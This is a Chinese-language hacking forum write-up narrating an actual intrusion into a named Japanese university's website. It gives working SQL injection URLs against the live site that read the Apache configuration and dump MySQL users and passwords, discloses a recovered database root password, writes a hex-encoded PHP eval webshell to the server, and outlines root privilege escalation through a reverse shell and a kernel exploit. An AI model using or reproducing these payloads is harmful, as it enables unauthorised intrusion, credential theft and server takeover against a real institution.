入侵日本同志社大学技术分析 http://www.doshisha.ac.jp/chs/news/index.php?i=-1
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是: http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
- //load_file读取网站容器apache的配置文件
- //group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
复制代码 虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。 而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html) 前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html 既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
直接写一句话: http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
- /*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
- 为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
- //如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
- //后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
- //所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
复制代码 HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
通过上述注入语句,我们就得到了一句话木马:
- http://www.doshisha.ac.jp/english/engnews_img/aa.php
复制代码 用菜刀连接,密码是cmd,如图所示:
然后在命令提示行里看了一下,现在的权限是: 之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
好在赋权给这个文件夹不需要root,直接执行赋权语句:
复制代码 在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
然后就查了一下内核版本:
复制代码 如图所示: 内核版本:linux mainz1 2.6.28-194.e15
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹 然后给予执行权限
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
复制代码 然后直接执行!~ 总结:
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
|